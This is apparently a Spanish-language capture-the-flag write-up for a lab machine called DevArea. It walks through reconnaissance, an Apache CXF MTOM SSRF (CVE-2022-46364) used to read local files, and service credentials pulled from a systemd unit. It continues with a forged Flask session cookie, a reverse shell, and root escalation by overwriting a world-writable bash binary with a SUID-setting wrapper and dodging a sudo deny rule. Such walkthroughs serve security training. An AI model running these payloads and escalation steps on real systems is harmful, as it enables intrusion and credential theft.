PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.219
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2| vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_drwxr-xr-x 2 ftp ftp 4096 Sep 222025 pub
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
| 256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)|_ 256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)80/tcp open http Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)|_http-title: DevArea - Connect with Top Development Talent
8080/tcp open http Jetty 9.4.27.v20200227
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.27.v20200227)8500/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Mon, 30 Mar 2026 17:20:04 GMT
| Content-Length: 64| This is a proxy server. Does not respond to non-proxy requests.
| GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 500 Internal Server Error
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Mon, 30 Mar 2026 17:19:48 GMT
| Content-Length: 64|_ This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)|_http-title: Hoverfly Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8500-TCP:V=7.98%I=7%D=3/30%Time=69CAB0B3%P=x86_64-pc-linux-gnu%r(Ge
...[SNIP]...
21/tcp (vsFTPd 3.0.5): FTP, login anónimo permitido, no vulnerable (salvo a DoS).
22/tcp (OpenSSH 9.6p1): No vulnerable
80/tcp (Apache/2.4.58): Vulnerable a CVE-2024-38476 (SSRF si hay una app backend con headers explotables), aunque posiblemente no sea relevante. Es la página de DevArea.
8080/tcp (Jetty 9.4.27.v20200227): Vulnerable a CVE-2019-17638, que permite exponer datos sensibles de usuarios.
8500/tcp (Golang net/http server): No parece detectarse correctamente. El fingerprint revela algunos datos, y si hacemos curl para verlo mejor:
1
2
$ curl devarea.htb:8500
This is a proxy server. Does not respond to non-proxy requests.
8888/tcp (Hoverfly Dashboard): Como dice el nombre, un panel de control con versión desconocida, tendremos que entrar para verla.
Dado que tenemos varios puertos abiertos y un entorno que desconocemos, deberíamos organizar toda la info que tenemos para saber ante qué estamos, y así posteriormente saber en qué dirección ir.
Podemos empezar buscando qué es Hoverfly (y Hoverfly Dashboard). Tras una búsqueda:
Hoverfly is an open-source, lightweight service virtualization tool designed to mock, simulate, and capture API interactions for software testing. It acts as a proxy server to create realistic API responses, allowing developers to test systems without relying on live external services. The Hoverfly dashboard is a web-based GUI that offers real-time visualization and control over these simulated services.
Es decir, es una aplicación que permite simular APIs, capturando las solicitudes de las aplicaciones a éstas a través de un proxy (que posiblemente sea el de tcp/8500) y generando las respuestas que la API real devolvería. Por otro lado, el dashboard es, como podríamos haber imaginado, un panel de control que permite gestionar todo esto.
Es decir, confirmamos que:
tcp/8888: Hoverfly Dashboard, para gestionar APIs simulados, sus respuestas, proxies y demás.
Además, según Google, la autenticación viene desactivada por defecto, lo que implica que si nos metemos y no hay nada configurado, accederemos al panel directos, mientras que si lo hay, no tendremos unas credenciales por defecto que probar.
Buscando más acerca de la posibilidad de que realmente tcp/8500 sea el proxy, encuentro esto:
The default port for the Hoverfly proxy is 8500. It defaults to listening on localhost (127.0.0.1), passing traffic between clients and services. The administrative API, used for managing Hoverfly via hoverctl, defaults to port 8888.
tcp/8500: Proxy encargado de interceptar solicitudes HTTP(S) entre el software que desarrollamos y el servicio externo para simular sus respuestas.
Sabemos que Hoverfly se encarga de interceptar solicitudes HTTP/HTTPS y responder en nombre de las APIs reales, conocemos su Dashboard (8888) y su proxy (8500), pero cuál es la aplicación que se ejecuta y manda las solicitudes que Hoverfly intercepta?.
Dado que la mayoría de aplicaciones de prueba se ejecutan en los puertos 8000/8080, podemos intuir que tcp/8080 es la app en desarrollo, de ahí que no haya un header ni un servicio conocido y simplemente se clasifique como Jetty.
Aunque no estamos seguros de momento, asumimos que estamos en lo cierto. Siempre podemos corregirlo luego:
tcp/8080: Aplicación en desarrollo que manda solicitudes API que intercepta Hoverfly.
Con todo esto, la visión general y el orden en el que buscaremos cosas queda:
21/tcp: FTP, login anónimo permitido, podremos sacar info interesante.
80/tcp: Página de DevArea. Con todo el entorno de red que hay, es raro que el foothold inicial esté aquí, pero vale la pena descartarlo primero para centrarnos en Hoverfly.
Entorno Hoverfly
8888/tcp (Hoverfly Dashboard): Probaremos a ver si no hay autenticación, y si la hay tiramos por otro lado (o buscamos credenciales).
8080/tcp (App en desarrollo): Todavía queda por ver, pero posiblemente haya algo interesante.
8500/tcp (Hoverfly Proxy): Dudablemente nos dará algo importante, pero tendremos que verlo.
$ ftp anonymous@devarea.htb
Connected to devarea.htb.
220(vsFTPd 3.0.5)230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
drwxr-xr-x 2 ftp ftp 4096 Sep 222025 pub
ftp> cd pub
250 Directory successfully changed.
Dentro de éste encontramos un archivo employee-service.jar:
1
2
3
4
5
6
7
8
9
ftp> ls
-rw-r--r-- 1 ftp ftp 6445030 Sep 222025 employee-service.jar
ftp> get employee-service.jar
local: employee-service.jar remote: employee-service.jar
150 Opening BINARY mode data connection for employee-service.jar (6445030 bytes).
100% 6293 KiB 7.03 MiB/s 00:00 ETA
226 Transfer complete.
6445030 bytes received in 00:00 (6.73 MiB/s)
Nota: .jar’s
Para más info sobre los .jar puedes mirar Blocky en su apartado “Análisis de Plugins”.
Dado que Jetty (la app web que suponemos está en desarrollo) es un servidor web de Java, podemos intuir que este .jar va a ser específicamente el código fuente de esta app web.
$ jar xf employee-service.jar
$ ls
about.html com employee-service.jar htb javax jetty-dir.css META-INF mozilla org OSGI-INF schemas
$ tree
...[SNIP]...
352 directories, 3609 files
Dado que, como vemos, hay demasiados archivos para ir entrando manualmente a cada directorio, usamos tree -d para tener una visión global, ahí encuentro bastantes cosas:
Muchos directorios de librerías. Al parecer esto es una práctica (o más bien el .jar en sí) denominada Fat JAR, que consiste en meter todas las dependencias de nuestro software también en el jar. Así que tendremos que ignorar muchas cosas.
htb/devarea/: Un directorio sospechoso en otro directorio con nombre sospechosamente parecido a la plataforma en la que se hostea la máquina.
META-INF/maven/com.environment/employee-service/: Metadatos con (posiblemente) versiones de librerías y demás.
META-INF/MANIFEST.MF: Info y metadatos del programa. Indica cuál es la clase principal (y por tanto la función main() a partir de la cual se ejecuta el programa).
Vemos que htb.devarea.ServerStarter es el punto de inicio al programa.
Si miramos META-INF/maven/com.environment/employee-service/pom.xml, vemos las versiones de cada aplicación del jar:
employee-service: 1.0, el programa custom.
org.apache.cxf: 3.2.14, vulnerable a SSRF en MTOM (CVE-2022-46364), no nos centraremos en esto de momento.
slf4j-api, slf4j-simple: 1.7.26, sin vulnerabilidades aparentes.
maven-compiler-plugin: 3.8.1, sin vulnerabilidades aparentes.
maven-shade-plugin: 3.6.0, sin vulnerabilidades aparentes.
Así que solo queda ir a por nuestro programa custom en htb/devarea/:
1
2
3
4
5
6
7
$ cd htb/devarea
$ ls -l
total 16-rw-rw-r-- 1 kali kali 329 Sep 212025 EmployeeService.class
-rw-rw-r-- 1 kali kali 1084 Sep 212025 EmployeeServiceImpl.class
-rw-rw-r-- 1 kali kali 1562 Sep 212025 Report.class
-rw-rw-r-- 1 kali kali 1173 Sep 212025 ServerStarter.class
Tenemos 4 archivos compilados, podemos ir descompilándolos uno a uno.
F: Report received from [NOMBRE]
Luego, devuelve un string formado por greeting, report.getDepartment() y report.getContent().
En sí no hay nada peligroso ni vulnerable en estos .jar. No se acceden a bases de datos (SQLi) y tampoco se ejecutan comandos (RCE). Lo único de lo que podemos aprovecharnos es que el servidor nos devuelve exactamente la información (Nombre, Departamento, etc.) que le mandamos, por lo que puede ser vulnerable a XXE.
A diferencia de los CVE (emitidos por MITRE/NIST), los WS son identificadores de vulnerabilidades descubiertas por Mend (anteriormente WhiteSource, una plataforma de comprobación de seguridad en aplicaciones) y que todavía no han recibido su CVE correspondiente. Algunos WS, como este caso (WS-2018-0629), nunca reciben un CVE oficial.
Así que, efectivamente, comprobamos que Woodstox 5.0.3 es vulnerable a XXE.
Si miramos el WSDL (http://devarea.htb:8080/employeeservice?wsdl), vemos lo siguiente:
La función submitReport requiere un parámetro arg0 con un objeto report, formado por los 4 campos que habíamos visto antes. Podemos probar a mandar un payload cualquiera, no necesariamente malicioso, a ver si funciona; como el siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:dev="http://devarea.htb/"><soapenv:Header/><soapenv:Body><dev:submitReport><arg0><confidential>false</confidential><content>If a mosquito has a soul, it is mostly evil. So I don't have too many qualms about putting a mosquito out of its misery. I'm a little more respectful of ants.</content><department>N/A</department><employeeName>Douglas R. Hofstadter</employeeName></arg0></dev:submitReport></soapenv:Body></soapenv:Envelope>
Probamos a mandarlo:
1
2
$ curl http://devarea.htb:8080/employeeservice -X POST -H "Content-Type: text/xml" -d @payload_clean.xml
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ns2:submitReportResponse xmlns:ns2="http://devarea.htb/"><return>Report received from Douglas R. Hofstadter. Department: N/A. Content: If a mosquito has a soul, it is mostly evil. So I don't have too many qualms about putting a mosquito out of its misery. I'm a little more respectful of ants.</return></ns2:submitReportResponse></soap:Body></soap:Envelope>
Y recibimos el output, así que sabemos que se ha procesado correctamente.
Si ahora probamos con uno malicioso, como este:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:dev="http://devarea.htb/"><soapenv:Header/><soapenv:Body><dev:submitReport><arg0><confidential>false</confidential><content>&xxe;</content><department>test</department><employeeName>test</employeeName></arg0></dev:submitReport></soapenv:Body></soapenv:Envelope>
Veremos que la respuesta es:
1
2
3
4
curl http://devarea.htb:8080/employeeservice -X POST -H "Content-Type: text/xml" -d @payload.xml
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Client</faultcode><faultstring>Error reading XMLStreamReader: Received event DTD, instead of START_ELEMENT or END_ELEMENT.
at [row,col {unknown-source}]: [1,52]</faultstring></soap:Fault></soap:Body></soap:Envelope>
Y nos da error.
Tras varias pruebas…
Tras probar un rato largo con varios payloads diferentes (XInclude, SSRF, etc.), sigo sin haber descubierto nada, así que decido que es momento de ir por otro camino.
Antes, al mirar las versiones de las librerías y apps instaladas en el .jar, había mencionado lo siguiente:
org.apache.cxf: 3.2.14, vulnerable a ataques similares a SSRF en MTOM (CVE-2022-46364), no nos centraremos en esto de momento.
Bien, pues esta mención a ese CVE la había hecho por deber más que por cualquier otra cosa, porque no tenía la más mínima intención de mirar ese CVE y de hecho ni siquiera pensaba que fuésemos a tener que usarlo, ahora bien, puede ser que nos saque de esta situación.
A SSRF vulnerability in parsing the href attribute of XOP:Include in MTOM requests in versions of Apache CXF before 3.5.5 and 3.4.10 allows an attacker to perform SSRF style attacks on webservices that take at least one parameter of any type.
Normalmente, si se quiere enviar un archivo binario (p.ej, un pdf) a través de un API SOAP, hay que codificarlo en b64 y meterlo en XML. Para archivos grandes esto es muy lento de procesar.
Para solucionar esto, se inventó Message Transmission Optimization Mechanism, MTOM. MTOM permite enviar mensajes SOAP como si fuesen emails con archivos adjuntos (con MIME), usando el formato multipart/related.
El XML principal va en una parte del mensaje y los datos binarios en otra. Para conectarlo todo, se usa XOP. Dentro del XML se pone un tag que actúa como puntero al “fichero adjunto”, usando su Content-ID (cid), que suele tener formato de email por razones históricas (estándar MIME), aunque técnicamente podría tener cualquier formato
boundary="SEPARADOR" especifica que, dado que se van a mandar varias cosas mezcladas en el paquete, --SEPARADOR hará de separador entre ellas.
<9f3a769c@ejemplo.com> es el tag que identifica al binario en el mensaje.
Cuando CXF recibe un mensaje así:
Lee Content-Type: multipart/related y boundary="SEPARADOR"
Divide la solicitud en varias partes en función del separador, los guarda en RAM indexados por cid
Coge la primera parte, que siempre es el XML SOAP, y lo pasa al parser (Woodstox). El parser va leyendo hasta llegar al <xop:Include ... href="cid:9f3a769c@ejemplo.com"/>
El parser mira en memoria a ver si hay alguna parte con cid:9f3a769c@ejemplo.com. Si la hay, la toma y la incluye en el mensaje.
Cuando todo está ya parseado, CXF convierte todos los datos al objeto report y nos lo devuelve.
El problema aquí llega cuando CXF no verifica el valor del href, permitiéndonos solicitar un dato que, p.ej, no comience por cid:, sino que lo haga por http://.
Vemos que efectivamente tenemos SSRF. Si probamos con href="file:///etc/passwd":
1
2
3
<return>Report received from test. Department: test. Content: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2
...[SNIP]...
Ojk4NDo6L29wdC9zeXN3YXRjaDovdXNyL3NiaW4vbm9sb2dpbgpwb3N0Zml4Ong6MTExOjExMjo6L3Zhci9zcG9vbC9wb3N0Zml4Oi91c3Ivc2Jpbi9ub2xvZ2luCl9sYXVyZWw6eDo5OTk6OTg3OjovdmFyL2xvZy9sYXVyZWw6L2Jpbi9mYWxzZQpkaGNwY2Q6eDoxMDA6NjU1MzQ6REhDUCBDbGllbnQgRGFlbW9uLCwsOi91c3IvbGliL2RoY3BjZDovYmluL2ZhbHNlCg==</return>
Vemos que el proceso se está ejecutando como dev_ryan, lo que implica que podemos ver y entrar a su directorio. Si solicitamos su directorio, en sí (/home/dev_ryan), vemos lo siguiente:
Tras probar a solicitar la user flag, veo que, por algún motivo, no se puede. De todas formas, podemos solicitar syswatch-v1.zip y guardarlo como base64, luego convertirlo a zip y extraer sus contenidos, a ver si hay algo interesante.
1
2
3
4
5
6
7
$ cat zip
UEsDBAoAAAAAALJEjlsAAAAAAAAAAAAAAAAJABwAc3lzd2F0Y2gvVVQJAAOfvT5poL0+aXV4CwABBAAAAA... #base64$ cat zip | base64 -d > syswatch-v1.zip
$ file syswatch-v1.zip
syswatch-v1.zip: Zip archive data, made by v3.0 UNIX, extract using at least v1.0, last modified Dec 142025 08:37:36, uncompressed size 0, method=store
Si abrimos el .zip, vemos los archivos de una app de flask:
Encontramos un syswatch.db (SQLite3), si lo abrimos:
Tenemos el usuario admin y un hash: scrypt:32768:8:1$IyKfiteB3TNFK6Hv$a0fbf5283db6a13859776827133e99d4d5ab43e85bedd05b06119e6fdca096ac81570d4497a836d09a155884182b6442cfcf6986b96310b514f34d9da871cb70. Pero, tristemente y tras crackearlo con hashcat, resuelve a admin, y, todavía más tristemente, tras probar combinaciones con admin y dev_ryan, no podemos iniciar sesión en ningún sitio, así que se trataba de un placeholder.
A partir de aquí voy a abstraer cada payload SSRF con comandos en el servidor, como ls /opt o cat /home/dev_ryan/.bashrc, para evitar tener que poner el payload cada vez, pero es importante recordar que aquí todavía estamos usando el SSRF del CVE-2022-46364, y que todo va en formato href="file:///opt", no en ls /opt.
Si listamos lo que hay en /opt:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ ls /opt
EmployeeService # El directorio al que hemos podido acceder antesHoverFly
syswatch # No nos deja listar contenidos$ ls /opt/HoverFly
hoverctl
hoverfly
LICENSE.txt
VERSION.txt
$ cat /opt/HoverFly/VERSION.txt
master-4541 linux_amd64
Pero si buscamos en Internet vemos que no hay una “versión 4541”, y si clonamos el repo y miramos los commits, tampoco hay un commit 4541 en la rama master.
Pasado un rato me planteo que dado que Hoverfly (y el dashboard) se ejecutan como servicios, posiblemente tengan algún tipo de entrada en Systemd. Estos archivos de configuración normalmente se guardan en /etc/systemd/system/ o /lib/systemd/system.
$ cat /etc/systemd/system/hoverfly.service #No sabemos el nombre de servicio, hay que probar.[Unit]Description=HoverFly service
After=network.target
[Service]User=dev_ryan
Group=dev_ryan
WorkingDirectory=/opt/HoverFly
ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
Restart=on-failure
RestartSec=5StartLimitIntervalSec=60StartLimitBurst=5LimitNOFILE=65536StandardOutput=journal
StandardError=journal
[Install]WantedBy=multi-user.target
Y aquí tenemos las credenciales admin:O7IJ27MyyXiU.
$ penelope -i 10.10.14.219
[+] Listening for reverse shells on 10.10.14.219:4444
[+] Got reverse shell from devarea~10.129.19.233-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/python3!
dev_ryan@devarea:/opt/HoverFly$
Ahora creamos un par de claves ssh y subimos la pública al authorized_keys de dev_ryan.
1
2
3
4
5
6
7
8
9
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): ./dev_ryan
...
The key fingerprint is:
SHA256:fHffzmWTBKfRWMdceWMArx/OiJ80AfO6FaU6A//snMs kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| ....+=|
Si miramos los binarios que podemos ejecutar como root:
1
2
3
4
5
6
dev_ryan@devarea:~$ sudo -l
Matching Defaults entries for dev_ryan on devarea:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev_ryan may run the following commands on devarea:
(root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restart
Nos fijamos en el programa (que es exactamente al que teníamos acceso en el .zip), podemos ver varios archivos y scripts, tanto de bash como de python. Además, también hay una app web ejecutándose en localhost:7777:
Si probamos con admin:admin (creackeado antes en el .db) sale “Invalid credentials”.
Volviendo al programa general, el script que inicia y crea todo es el siguiente:
#!/bin/bash
set -euo pipefail
if["$(id -u)" -ne 0]; then echo "Require root"; exit 1; fiecho "[*] SysWatch setup starting"... [SNIP]...
# 1. Se crea el user "syswatch"# 2. Se crea el directorio /opt/syswatch (al que no tenemos acceso) y se instala el programa"$OPT_DIR/venv/bin/pip" install -r "$OPT_DIR/syswatch_gui/requirements.txt"ENV_FILE="/etc/syswatch.env"SECRET="${SYSWATCH_SECRET_KEY:-}"ADMIN="${SYSWATCH_ADMIN_PASSWORD:-}"if[ -z "$SECRET"]; thenif command -v openssl >/dev/null 2>&1; then SECRET="$(openssl rand -hex 32)"else SECRET="$(head -c 32 /dev/urandom | xxd -p)"fifi[ -z "$ADMIN"]&& ADMIN="SyswatchAdmin2026"cat > "$ENV_FILE"<<EOF
SYSWATCH_SECRET_KEY=$SECRET
SYSWATCH_ADMIN_PASSWORD=$ADMIN
SYSWATCH_LOG_DIR=$OPT_DIR/logs
SYSWATCH_DB_PATH=$OPT_DIR/syswatch_gui/syswatch.db
SYSWATCH_PLUGIN_DIR=$OPT_DIR/plugins
SYSWATCH_BACKUP_DIR=$OPT_DIR/backup
SYSWATCH_VERSION=1.0.0
EOFchmod 755"$ENV_FILE"WEB_UNIT="/etc/systemd/system/syswatch-web.service"cat > "$WEB_UNIT" <<EOF
[Unit]Description=SysWatch Web GUI
After=network.target
...
Aquí vemos que, tras instalarse el programa en /opt/syswatch, se crea una clave privada hexadecimal de 32 dígitos, además, parece que tenemos una posible contraseña SyswatchAdmin2026. Luego se crea un servicio, si miramos a fondo:
Ahora, con el username admin de antes, y la contraseña SyswatchAdmin2026 podemos probar a iniciar sesión:
Desgraciadamente, tampoco sirve de mucho. Dicho esto, sí que tenemos una ventaja, y es que, aunque la contraseña no ha servido, tenemos la variable SYSWATCH_SECRET_KEY. Si miramos para qué la usa la app web:
Vemos que se trata específicamente de la clave secreta que Flask usa para firmar sus cookies. El hecho de que la conozcamos implica que podríamos crear una cookie maliciosa. En app.py, vemos que, cuando la app comprueba que el usuario está autenticado, hace lo siguiente:
Ahora vamos al panel de login, entramos en las herramientas de desarrollador, vamos a Storage>Cookies y ahí añadimos una “session” con valor eyJ1c2VyX2lkIjoxfQ.adKAkg.Ae_Y8bxSPbe3DJq_AXGhP3gzIro.
Si ahora recargamos la página:
Aquí podemos ver varias cosas, aunque tenemos un problema, y es que si vamos mirando las opciones que nos da la app web, tanto desde el navegador, como mirando su código fuente, veremos que no son especialmente vulnerables, así que quizás hayamos conseguido iniciar sesión para nada. Tendremos que mirar por otro lado.
Vemos que el binario de bash puede ser modificado por cualquiera, incluidos nosotros. Por esto mismo, podemos modificarlo, y cuando cualquier script ejecutándose como root abra bash, ejecutará lo que queramos con sus privilegios.
Primero copiamos el bash original a un sitio seguro:
dev_ryan@devarea:~$ cat /tmp/fakebash
#!/tmp/realbashif["$EUID" -eq 0]; then# Si esto lo ejecuta root: chown root:root /tmp/realbash # Cambiar owner y grupo de /tmp/realbash a root chmod 4755 /tmp/realbash # Añadir bit SUID a /tmp/realbashfi# En cualquier caso, luego se ejecuta bash con los argumentos pasados:exec /tmp/realbash "$@"# --- Fin de /tmp/fakebashdev_ryan@devarea:~$ cat /tmp/fakebash > /usr/bin/bash # Intentamos copiar fakebash al bash writable.-bash: /usr/bin/bash: Text file busy
Pero, como vemos, antes de copiarlo, necesitamos no estar ejecutando bash, así que cerramos todas las sesiones de SSH (luego podemos volver a abrirlas) y entramos por SSH con un shell distinto a bash:
Ya tenemos nuestro bash malicioso. Ahora necesitamos ejecutarlo como root. Para ello, miramos otro de los scripts de Syswatch: syswatch.sh. En él encontramos:
Recordemos de sudo -l que no podíamos usar el argumento web-restart, pero sí podemos usar uno exactamente equivalente: web-reload, que no se había considerado al establecer la prohibición. De todas formas, dado que el propio syswatch.sh es un script de bash, cualquier argumento permitido valdría porque se llamaría a bash de todas formas.